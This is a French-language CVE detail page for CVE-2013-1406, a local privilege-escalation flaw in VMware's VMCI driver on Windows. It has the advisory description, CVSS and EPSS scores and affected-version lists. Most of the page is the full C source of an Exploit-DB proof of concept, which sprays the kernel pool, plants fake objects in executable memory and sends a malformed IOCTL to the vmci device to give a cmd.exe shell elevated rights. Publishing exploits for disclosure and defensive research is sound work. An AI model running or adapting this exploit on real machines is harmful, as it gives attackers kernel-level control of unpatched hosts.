CVE-2013-1406 : Détail

CVE-2013-1406

A03-Injection
0.06%V3
Local
2013-02-11
21h00 +00:00
2017-09-18
10h57 +00:00
Notifications pour un CVE
Restez informé de toutes modifications pour un CVE spécifique.
Gestion des notifications

Descriptions du CVE

The Virtual Machine Communication Interface (VMCI) implementation in vmci.sys in VMware Workstation 8.x before 8.0.5 and 9.x before 9.0.1 on Windows, VMware Fusion 4.1 before 4.1.4 and 5.0 before 5.0.2, VMware View 4.x before 4.6.2 and 5.x before 5.1.2 on Windows, VMware ESXi 4.0 through 5.1, and VMware ESX 4.0 and 4.1 does not properly restrict memory allocation by control code, which allows local users to gain privileges via unspecified vectors.

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-20 Improper Input Validation
The product receives input or data, but it does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V2 7.2 AV:L/AC:L/Au:N/C:C/I:C/A:C [email protected]

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Informations sur l'Exploit

Exploit Database EDB-ID : 40164

Date de publication : 2013-03-05 23h00 +00:00
Auteur : Artem Shishkin
EDB Vérifié : No

/* CVE-2013-1406 exploitation PoC by Artem Shishkin, Positive Research, Positive Technologies, 02-2013 */ void __stdcall FireShell(DWORD dwSomeParam) { EscalatePrivileges(hProcessToElevate); // Equate the stack and quit the cycle #ifndef _AMD64_ __asm { pop ebx pop edi push 0xFFFFFFF8 push 0xA010043 } #endif } HANDLE LookupObjectHandle(PSYSTEM_HANDLE_INFORMATION_EX pHandleTable, PVOID pObjectAddr, DWORD dwProcessID = 0) { HANDLE hResult = 0; DWORD dwLookupProcessID = dwProcessID; if (pHandleTable == NULL) { printf("Ain't funny\n"); return 0; } if (dwLookupProcessID == 0) { dwLookupProcessID = GetCurrentProcessId(); } for (unsigned int i = 0; i < pHandleTable->NumberOfHandles; i++) { if ((pHandleTable->Handles[i].UniqueProcessId == (HANDLE)dwLookupProcessID) && (pHandleTable->Handles[i].Object == pObjectAddr)) { hResult = pHandleTable->Handles[i].HandleValue; break; } } return hResult; } PVOID LookupObjectAddress(PSYSTEM_HANDLE_INFORMATION_EX pHandleTable, HANDLE hObject, DWORD dwProcessID = 0) { PVOID pResult = 0; DWORD dwLookupProcessID = dwProcessID; if (pHandleTable == NULL) { printf("Ain't funny\n"); return 0; } if (dwLookupProcessID == 0) { dwLookupProcessID = GetCurrentProcessId(); } for (unsigned int i = 0; i < pHandleTable->NumberOfHandles; i++) { if ((pHandleTable->Handles[i].UniqueProcessId == (HANDLE)dwLookupProcessID) && (pHandleTable->Handles[i].HandleValue == hObject)) { pResult = (HANDLE)pHandleTable->Handles[i].Object; break; } } return pResult; } void CloseTableHandle(PSYSTEM_HANDLE_INFORMATION_EX pHandleTable, HANDLE hObject, DWORD dwProcessID = 0) { DWORD dwLookupProcessID = dwProcessID; if (pHandleTable == NULL) { printf("Ain't funny\n"); return; } if (dwLookupProcessID == 0) { dwLookupProcessID = GetCurrentProcessId(); } for (unsigned int i = 0; i < pHandleTable->NumberOfHandles; i++) { if ((pHandleTable->Handles[i].UniqueProcessId == (HANDLE)dwLookupProcessID) && (pHandleTable->Handles[i].HandleValue == hObject)) { pHandleTable->Handles[i].Object = NULL; pHandleTable->Handles[i].HandleValue = NULL; break; } } return; } void PoolSpray() { // Init used native API function lpNtQuerySystemInformation NtQuerySystemInformation = (lpNtQuerySystemInformation)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "NtQuerySystemInformation"); if (NtQuerySystemInformation == NULL) { printf("Such a fail...\n"); return; } // Determine object size // xp: //const DWORD_PTR dwSemaphoreSize = 0x38; // 7: //const DWORD_PTR dwSemaphoreSize = 0x48; DWORD_PTR dwSemaphoreSize = 0; if (LOBYTE(GetVersion()) == 5) { dwSemaphoreSize = 0x38; } else if (LOBYTE(GetVersion()) == 6) { dwSemaphoreSize = 0x48; } unsigned int cycleCount = 0; while (cycleCount < 50000) { HANDLE hTemp = CreateSemaphore(NULL, 0, 3, NULL); if (hTemp == NULL) { break; } ++cycleCount; } printf("\t[+] Spawned lots of semaphores\n"); printf("\t[.] Initing pool windows\n"); Sleep(2000); DWORD dwNeeded = 4096; NTSTATUS status = 0xFFFFFFFF; PVOID pBuf = VirtualAlloc(NULL, 4096, MEM_COMMIT, PAGE_READWRITE); while (true) { status = NtQuerySystemInformation(SystemExtendedHandleInformation, pBuf, dwNeeded, NULL); if (status != STATUS_SUCCESS) { dwNeeded *= 2; VirtualFree(pBuf, 0, MEM_RELEASE); pBuf = VirtualAlloc(NULL, dwNeeded, MEM_COMMIT, PAGE_READWRITE); } else { break; } }; HANDLE hHandlesToClose[0x30] = {0}; DWORD dwCurPID = GetCurrentProcessId(); PSYSTEM_HANDLE_INFORMATION_EX pHandleTable = (PSYSTEM_HANDLE_INFORMATION_EX)pBuf; for (ULONG i = 0; i < pHandleTable->NumberOfHandles; i++) { if (pHandleTable->Handles[i].UniqueProcessId == (HANDLE)dwCurPID) { DWORD_PTR dwTestObjAddr = (DWORD_PTR)pHandleTable->Handles[i].Object; DWORD_PTR dwTestHandleVal = (DWORD_PTR)pHandleTable->Handles[i].HandleValue; DWORD_PTR dwWindowAddress = 0; bool bPoolWindowFound = false; UINT iObjectsNeeded = 0; // Needed window size is vmci packet pool chunk size (0x218) divided by // Semaphore pool chunk size (dwSemaphoreSize) iObjectsNeeded = (0x218 / dwSemaphoreSize) + ((0x218 % dwSemaphoreSize != 0) ? 1 : 0); if ( // Not on a page boundary ((dwTestObjAddr & 0xFFF) != 0) && // Doesn't cross page boundary (((dwTestObjAddr + 0x300) & 0xF000) == (dwTestObjAddr & 0xF000)) ) { // Check previous object for being our semaphore DWORD_PTR dwPrevObject = dwTestObjAddr - dwSemaphoreSize; if (LookupObjectHandle(pHandleTable, (PVOID)dwPrevObject) == NULL) { continue; } for (unsigned int j = 1; j < iObjectsNeeded; j++) { DWORD_PTR dwNextTestAddr = dwTestObjAddr + (j * dwSemaphoreSize); HANDLE hLookedUp = LookupObjectHandle(pHandleTable, (PVOID)dwNextTestAddr); //printf("dwTestObjPtr = %08X, dwTestObjHandle = %08X\n", dwTestObjAddr, dwTestHandleVal); //printf("\tdwTestNeighbour = %08X\n", dwNextTestAddr); //printf("\tLooked up handle = %08X\n", hLookedUp); if (hLookedUp != NULL) { hHandlesToClose[j] = hLookedUp; if (j == iObjectsNeeded - 1) { // Now test the following object dwNextTestAddr = dwTestObjAddr + ((j + 1) * dwSemaphoreSize); if (LookupObjectHandle(pHandleTable, (PVOID)dwNextTestAddr) != NULL) { hHandlesToClose[0] = (HANDLE)dwTestHandleVal; bPoolWindowFound = true; dwWindowAddress = dwTestObjAddr; // Close handles to create a memory window for (int k = 0; k < iObjectsNeeded; k++) { if (hHandlesToClose[k] != NULL) { CloseHandle(hHandlesToClose[k]); CloseTableHandle(pHandleTable, hHandlesToClose[k]); } } } else { memset(hHandlesToClose, 0, sizeof(hHandlesToClose)); break; } } } else { memset(hHandlesToClose, 0, sizeof(hHandlesToClose)); break; } } if (bPoolWindowFound) { printf("\t[+] Window found at %08X!\n", dwWindowAddress); } } } } VirtualFree(pBuf, 0, MEM_RELEASE); return; } void InitFakeBuf(PVOID pBuf, DWORD dwSize) { if (pBuf != NULL) { RtlFillMemory(pBuf, dwSize, 0x11); } return; } void PlaceFakeObjects(PVOID pBuf, DWORD dwSize, DWORD dwStep) { /* Previous chunk size will be always 0x43 and the pool index will be 0, so the last bytes will be 0x0043 So, for every 0xXXXX0043 address we must suffice the following conditions: lea edx, [eax+38h] lock xadd [edx], ecx cmp ecx, 1 Some sort of lock at [addr + 38] must be equal to 1. And call dword ptr [eax+0ACh] The call site is located at [addr + 0xAC] Also fake the object to be dereferenced at [addr + 0x100] */ if (pBuf != NULL) { for (PUCHAR iAddr = (PUCHAR)pBuf + 0x43; iAddr < (PUCHAR)pBuf + dwSize; iAddr = iAddr + dwStep) { PDWORD pLock = (PDWORD)(iAddr + 0x38); PDWORD_PTR pCallMeMayBe = (PDWORD_PTR)(iAddr + 0xAC); PDWORD_PTR pFakeDerefObj = (PDWORD_PTR)(iAddr + 0x100); *pLock = 1; *pCallMeMayBe = (DWORD_PTR)FireShell; *pFakeDerefObj = (DWORD_PTR)pBuf + 0x1000; } } return; } void PenetrateVMCI() { /* VMware Security Advisory Advisory ID: VMSA-2013-0002 Synopsis: VMware ESX, Workstation, Fusion, and View VMCI privilege escalation vulnerability Issue date: 2013-02-07 Updated on: 2013-02-07 (initial advisory) CVE numbers: CVE-2013-1406 */ DWORD dwPidToElevate = 0; HANDLE hSuspThread = NULL; bool bXP = (LOBYTE(GetVersion()) == 5); bool b7 = ((LOBYTE(GetVersion()) == 6) && (HIBYTE(LOWORD(GetVersion())) == 1)); bool b8 = ((LOBYTE(GetVersion()) == 6) && (HIBYTE(LOWORD(GetVersion())) == 2)); if (!InitKernelFuncs()) { printf("[-] Like I don't know where the shellcode functions are\n"); return; } if (bXP) { printf("[?] Who do we want to elevate?\n"); scanf_s("%d", &dwPidToElevate); hProcessToElevate = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, dwPidToElevate); if (hProcessToElevate == NULL) { printf("[-] This process doesn't want to be elevated\n"); return; } } if (b7 || b8) { // We are unable to change an active process token on-the-fly, // so we create a custom shell suspended (Ionescu hack) STARTUPINFO si = {0}; PROCESS_INFORMATION pi = {0}; si.wShowWindow = TRUE; WCHAR cmdPath[MAX_PATH] = {0}; GetSystemDirectory(cmdPath, MAX_PATH); wcscat_s(cmdPath, MAX_PATH, L"\\cmd.exe"); if (CreateProcess(cmdPath, L"", NULL, NULL, FALSE, CREATE_SUSPENDED | CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi) == TRUE) { hProcessToElevate = pi.hProcess; hSuspThread = pi.hThread; } } HANDLE hVMCIDevice = CreateFile(L"\\\\.\\vmci", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, NULL, NULL); if (hVMCIDevice != INVALID_HANDLE_VALUE) { UCHAR BadBuff[0x624] = {0}; UCHAR retBuf[0x624] = {0}; DWORD dwRet = 0; printf("[+] VMCI service found running\n"); PVM_REQUEST pVmReq = (PVM_REQUEST)BadBuff; pVmReq->Header.RequestSize = 0xFFFFFFF0; PVOID pShellSprayBufStd = NULL; PVOID pShellSprayBufQtd = NULL; PVOID pShellSprayBufStd7 = NULL; PVOID pShellSprayBufQtd7 = NULL; PVOID pShellSprayBufChk8 = NULL; if ((b7) || (bXP) || (b8)) { /* Significant bits of a PoolType of a chunk define the following regions: 0x0A000000 - 0x0BFFFFFF - Standard chunk 0x1A000000 - 0x1BFFFFFF - Quoted chunk 0x0 - 0xFFFFFFFF - Free chunk - no idea Addon for Windows 7: Since PoolType flags have changed, and "In use flag" is now 0x2, define an additional region for Win7: 0x04000000 - 0x06000000 - Standard chunk 0x14000000 - 0x16000000 - Quoted chunk */ pShellSprayBufStd = VirtualAlloc((LPVOID)0xA000000, 0x2000000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); pShellSprayBufQtd = VirtualAlloc((LPVOID)0x1A000000, 0x2000000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); pShellSprayBufStd7 = VirtualAlloc((LPVOID)0x4000000, 0x2000000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); pShellSprayBufQtd7 = VirtualAlloc((LPVOID)0x14000000, 0x2000000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); if ((pShellSprayBufQtd == NULL) || (pShellSprayBufQtd == NULL) || (pShellSprayBufQtd == NULL) || (pShellSprayBufQtd == NULL)) { printf("\t[-] Unable to map the needed memory regions, please try running the app again\n"); CloseHandle(hVMCIDevice); return; } InitFakeBuf(pShellSprayBufStd, 0x2000000); InitFakeBuf(pShellSprayBufQtd, 0x2000000); InitFakeBuf(pShellSprayBufStd7, 0x2000000); InitFakeBuf(pShellSprayBufQtd7, 0x2000000); PlaceFakeObjects(pShellSprayBufStd, 0x2000000, 0x10000); PlaceFakeObjects(pShellSprayBufQtd, 0x2000000, 0x10000); PlaceFakeObjects(pShellSprayBufStd7, 0x2000000, 0x10000); PlaceFakeObjects(pShellSprayBufQtd7, 0x2000000, 0x10000); if (SetThreadPriority(GetCurrentThread(), THREAD_PRIORITY_TIME_CRITICAL) == FALSE) { SetThreadPriority(GetCurrentThread(), THREAD_PRIORITY_HIGHEST); } PoolSpray(); if (DeviceIoControl(hVMCIDevice, 0x8103208C, BadBuff, sizeof(BadBuff), retBuf, sizeof(retBuf), &dwRet, NULL) == TRUE) { printf("\t[!] If you don't see any BSOD, you're successful\n"); if (b7 || b8) { ResumeThread(hSuspThread); } } else { printf("[-] Not this time %d\n", GetLastError()); } if (pShellSprayBufStd != NULL) { VirtualFree(pShellSprayBufStd, 0, MEM_RELEASE); } if (pShellSprayBufQtd != NULL) { VirtualFree(pShellSprayBufQtd, 0, MEM_RELEASE); } } SetThreadPriority(GetCurrentThread(), THREAD_PRIORITY_NORMAL); CloseHandle(hVMCIDevice); } else { printf("[-] Like I don't see vmware here\n"); } CloseHandle(hProcessToElevate); return; }

Products Mentioned

Configuraton 0

Vmware>>Workstation >> Version 8.0

Vmware>>Workstation >> Version 8.0.0.18997

Vmware>>Workstation >> Version 8.0.1

Vmware>>Workstation >> Version 8.0.1.27038

Vmware>>Workstation >> Version 8.0.2

Vmware>>Workstation >> Version 8.0.3

Vmware>>Workstation >> Version 8.0.4

Vmware>>Workstation >> Version 9.0

Microsoft>>Windows >> Version *

Configuraton 0

Vmware>>Fusion >> Version 4.1

Vmware>>Fusion >> Version 4.1.1

Vmware>>Fusion >> Version 4.1.2

Vmware>>Fusion >> Version 4.1.3

Vmware>>Fusion >> Version 5.0

Vmware>>Fusion >> Version 5.0.1

Configuraton 0

Vmware>>View >> Version 4.0.0

Vmware>>View >> Version 4.0.0

Vmware>>View >> Version 4.5

Vmware>>View >> Version 4.6.0

Vmware>>View >> Version 4.6.1

Vmware>>View >> Version 5.0

Vmware>>View >> Version 5.0.0

Vmware>>View >> Version 5.0.0

Vmware>>View >> Version 5.0.1

Vmware>>View >> Version 5.1.0

Vmware>>View >> Version 5.1.1

Microsoft>>Windows >> Version *

Configuraton 0

Vmware>>Esxi >> Version 4.0

Vmware>>Esxi >> Version 4.0

Vmware>>Esxi >> Version 4.0

Vmware>>Esxi >> Version 4.0

Vmware>>Esxi >> Version 4.0

Vmware>>Esxi >> Version 4.1

Vmware>>Esxi >> Version 4.1

Vmware>>Esxi >> Version 4.1

Vmware>>Esxi >> Version 5.0

Vmware>>Esxi >> Version 5.0

Vmware>>Esxi >> Version 5.0

Vmware>>Esxi >> Version 5.1

Configuraton 0

Vmware>>Esx >> Version 4.0

Vmware>>Esx >> Version 4.1

Références